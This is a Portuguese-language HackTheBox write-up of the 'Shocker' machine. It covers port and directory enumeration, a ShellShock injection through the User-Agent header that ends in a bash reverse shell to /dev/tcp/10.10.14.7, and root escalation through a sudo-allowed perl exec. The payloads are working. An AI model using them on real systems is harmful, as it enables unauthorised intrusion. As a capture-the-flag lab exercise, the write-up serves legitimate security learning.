> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md).

# Resolução da máquina Shocker do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Shocker>" %}

{% hint style="warning" %}
**Habilidades:**

* Ataque ShellShock (User-Agent)
* Abuso de privilégio no Sudoers (Perl)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/c42ba6baa178ccc83b112e00e7b9bba4f39e4925" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/6a58e0be98c857ceee15984857acec23910ffbba" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.56 -oG allPorts
```

<figure><img src="/files/cec77d7126460e34112916e68100b825ddf5e4e8" alt="" width="563"><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (80,2222)

<figure><img src="/files/99a9f3e09a4b45ef38bb19a1350d0f76341ae318" alt="" width="563"><figcaption></figcaption></figure>

Varredura de versões de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,2222 10.10.10.56 -oN targeted
```

<figure><img src="/files/715be765dd6d78fe7545342887fa8078ce067422" alt=""><figcaption></figcaption></figure>

### Porta 80 - HTTP

<figure><img src="/files/09d50b18d3d3d5e8686d3d13b7914a5c560a5f24" alt=""><figcaption></figcaption></figure>

#### Enumeração de diretórios

Usamos **WFuzz** para identificar diretórios acessíveis:

```bash
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/ | grep -v "#"
```

<figure><img src="/files/b813e68ff55e5d6e520cbc169e5d7fa8339311ac" alt=""><figcaption></figcaption></figure>

Isso revela o diretório **cgi-bin** , frequentemente associado a scripts exploráveis.

## Vulnerabilidade ShellShock

#### Buscar arquivos exploráveis

Filtramos arquivos com extensões como `.sh`, `.pl` , ou `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
```

O **user.sh** foi identificado. Esse script parece dinâmico e pode ser vulnerável.

<figure><img src="/files/9924df7fdf07641705ecaa0e61e32c834ae25e2d" alt=""><figcaption></figcaption></figure>

#### Detecção de vulnerabilidade

Usamos o seguinte script do Nmap para testar a vulnerabilidade:

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
```

A varredura confirma que o arquivo **user.sh** é vulnerável ao ShellShock.

<figure><img src="/files/5176d0733016764f7325c4b1b0cf27757ab21158" alt=""><figcaption></figcaption></figure>

#### Cumprimento de pedidos

Para testar a execução de comandos, usamos **curl** com um User-Agent malicioso:

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"
```

Isso retorna o nome de usuário ativo.

<figure><img src="/files/2343c6b38f3bb24dd6a0e70712da37c52fab4b2a" alt=""><figcaption></figcaption></figure>

#### Shell reverso

Para obter um shell reverso:

1. Escute na porta 443:

```bash
nc -nlvp 443
```

2. Injete o seguinte payload:

{% code overflow="wrap" %}

```bash
-H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

<div data-full-width="true"><figure><img src="/files/36590d8991e57ada4a5c6e04684cbcda7e21188d" alt=""><figcaption></figcaption></figure></div>

### Flag user.txt :)

<figure><img src="/files/921f3ef7627bb64674c27790f3af4bb3cc1c19a6" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilégios

### Sudoers - Perl

Ao analisar **Sudoers** as permissões, observamos que o usuário tem permissão para executar `perl` como **root**. Isso pode ser verificado com o seguinte comando:

```bash
sudo -l 
```

<figure><img src="/files/d303732e63685487984a45e11bbab1024b627a82" alt=""><figcaption></figcaption></figure>

#### Exploração

Para explorar essa configuração e obter um shell com privilégios de root, basta injetar o seguinte comando:

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#sudo>" %}

```bash
sudo /usr/bin/perl -e 'exec "/bin/sh";'
```

<figure><img src="/files/d504c0f7afc486c60d15aed27e419947be8bf5a2" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/2c975e03ddf592b26128edd11e1bb7f108f70d31" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/57e3c1f9fe296388fa0d3ce1c51cf94804f7921f" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
